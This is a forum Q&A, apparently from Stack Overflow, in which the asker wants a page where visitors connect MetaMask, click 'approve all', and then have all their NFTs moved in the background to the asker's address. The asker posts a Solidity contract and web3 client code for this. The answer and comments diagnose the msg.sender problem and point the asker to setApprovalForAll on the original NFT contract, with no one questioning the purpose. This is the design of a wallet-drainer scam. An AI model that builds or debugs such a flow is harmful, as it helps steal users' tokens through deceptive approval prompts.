0

I am trying to approve an operator to be able to manage the assets from another persons nft token inside another contract.

The flow I want is: User starts on my page -> Connects metamask -> Hits approve all -> Then it will initialise the function in my contract to transfer all tokens they own to my address.

I am trying to set the owner as the operator and it works fine and returns true when I run isApprovedForAll:

enter image description here

But as you can see, the getApproved returns 0x00000... this is throwing an error when trying to transfer the token(s).

Whenever I try and call the setApprovalForAll, it's returning "transfer caller is not owner nor approved": enter image description here

My contract code is:

pragma solidity ^0.8.7;
import "https://github.com/OpenZeppelin/openzeppelin- 
contracts/blob/master/contracts/token/ERC721/ERC721.sol";
import "https://github.com/OpenZeppelin/openzeppelin- 
contracts/blob/master/contracts/token/ERC721/IERC721Receiver.sol";

contract NICEONE is IERC721Receiver {

// Transfer all out once approved
function transferAll(IERC721 nftcontractaddress, address operator, address to, uint256[] calldata nftIDs) external {
    for (uint256 i = 0; i < nftIDs.length; ++i) {
        //address from = nftcontractaddress.ownerOf(nftIDs[i]);
        uint256 theNumber = nftIDs[i];
        nftcontractaddress.safeTransferFrom(operator, address(this), theNumber); // from operator, to this address address(this)
        // this contract address is the one that needs to be approved by the user
    }
}

// Return the owner of the nft contract
function getTheOwner(IERC721 nftcontractaddress, uint256 tokenId) external view returns (address owner) {
    return nftcontractaddress.ownerOf(tokenId);
}

function getApproved(IERC721 nftcontractaddress, uint256 tokenId) external view returns (address operator) {
    return nftcontractaddress.getApproved(tokenId);
}

// Check if an operator is approved for all
function checkApprovedAll(IERC721 nftcontractaddress, address owner, address operator) external view returns (bool) {
    return nftcontractaddress.isApprovedForAll(owner, operator); 
}

function onERC721Received(address , address , uint256 , bytes memory) external pure override returns (bytes4){
    return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
}

// Multi approval for all tokens to a given operator to manage tokens
function setApproveAll(IERC721 nftcontractaddress, address operator) external {
    nftcontractaddress.setApprovalForAll(operator, true); // approve this contract address, so we the user can transfer all assets to this contract
}

}

And my web3 client code is:

            var wallets = await getWallets();
        console.log(wallets);

        console.log('running approve function first');

        // Contract address of the nft token
        var ourContractAddress = "0xCfB61Ba49bAc02186179f05f4acDd9843284Ff7A";
        var abi_code = await getJsonABI(); // load it from a file
        var OurContract = await new web3.eth.Contract(abi_code, ourContractAddress);

        var account = await getDefaultEthAccount();

        console.log(`Main account: ${account}`);

        // Change the chain and then see if it's changed to our test network - rinkeby
        OurContract.defaultChain = 'rinkeby';
        console.log(OurContract.defaultChain);

        var tokenId = 7; // the id of the token to send
        var owner = '0x29fE67f3d594c86c1D4f52eF0d6bB3a0275d3451'; //  ( msg.sender )
        var operator = '0x29fE67f3d594c86c1D4f52eF0d6bB3a0275d3451';
        var receiver = "0x773Fbd72abc863c13D6208937B69909C9422D181"; // address of the receiver
        var nftourContractAddress = "0xEd12Fc1effFF33E9A3E6e54c4D9E3Dec581CB6d8"; // contract address of the nft
        let gotReceiver;

        console.log(web3.eth.defaultAccount);
        web3.eth.defaultAccount = owner;
        console.log(web3.eth.defaultAccount);

        // Owner of the token is 0x29fE67f3d594c86c1D4f52eF0d6bB3a0275d3451
        // The operator should also be the owner
        // 

        var isApproved = false;

        // Check if they're approved now
        await OurContract.methods.checkApprovedAll(nftourContractAddress, ourContractAddress, operator).call({ from: owner }).then((data) => {
            console.log(`Operator: ${operator} approved: ${JSON.stringify(data)}`);
            // Return false if they are not approved
            if (data == false) {
                return;
            } else {
                isApproved = true;
            }
            console.log('=== finished the checkIsApproved');
        });

        if (isApproved == false) {

            // Approve our contracts address to allow to manage the users nft tokens from other contract
            await OurContract.methods.setApproveAll(nftourContractAddress, operator).send({ from: owner }).then((data) => {
                console.log(`Owner is: ${owner}`);
                console.log(`Operator: ${operator} approved: ${JSON.stringify(data)}`);
                console.log('=== finished the approveThem');
            });

        }

        // Try and transfer it out
        // Try send method as we need to update their nfts to us permamently
        try {
            console.log('Trying to transferOut');
            await OurContract.methods.transferAll(nftourContractAddress, operator, receiver, [tokenId]).call({ from: owner }).then((data) => {
                console.log(data);
                console.log('=== finished the transferOut section');
            });
        } catch (err) {
            console.log('ERROR:');
            console.log(err);
        }

        // Check if the nft(s) have been transfered or not by checking the new owner
        gotReceiver = await OurContract.methods.getTheOwner(nftourContractAddress, tokenId).call(); // get the owners address of an nfts contract address and token id
        console.log('=== Token owner: ' + gotReceiver + ' || Our Received: ' + receiver);

The owner of the nft token I am trying to transfer is the correct 0x29... address. I also set the operator as the owner so there's no reason he cannot approve it and send it fine after... What am I doing wrong here?

1 Answer 1

0

The problem is that you're calling a smart contract that calls ERC721, so the msg.sender is not anymore the address of the wallet who initiated the transaction

ERC721

11
  • Thank you again for your fast response. Do you have an example of code you could show? Sorry if i sound annoying. I am new to contracts in general.
    – php dev
    Mar 29 at 11:58
  • If you want to approve using NICEONE, the NICEONE needs to hold the NFTs. Otherwise, the user needs first to approve by calling the ERC721 first. I am not sure what you're trying to do here. But you can make NICEONEa child contract of ERC721 (NICEONE is ERC721 for example), and call approve directly approve(to, tokenId) without the need to specify the contractAddress since it's the same contract Mar 29 at 12:03
  • I am trying to make a system like this: User goes on my site -> Connects metamask -> Clicks approveAll on popup -> Then in background it will send all of his nfts to the address I put. Forget approve, I will be using setApprovalForAll as it doesn't require them to approve each time.
    – php dev
    Mar 29 at 12:05
  • So you can just make them click on approveAll from ERC721 contract Mar 29 at 12:21
  • you mean from the original nft contract? Not my one?
    – php dev
    Mar 29 at 12:24

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.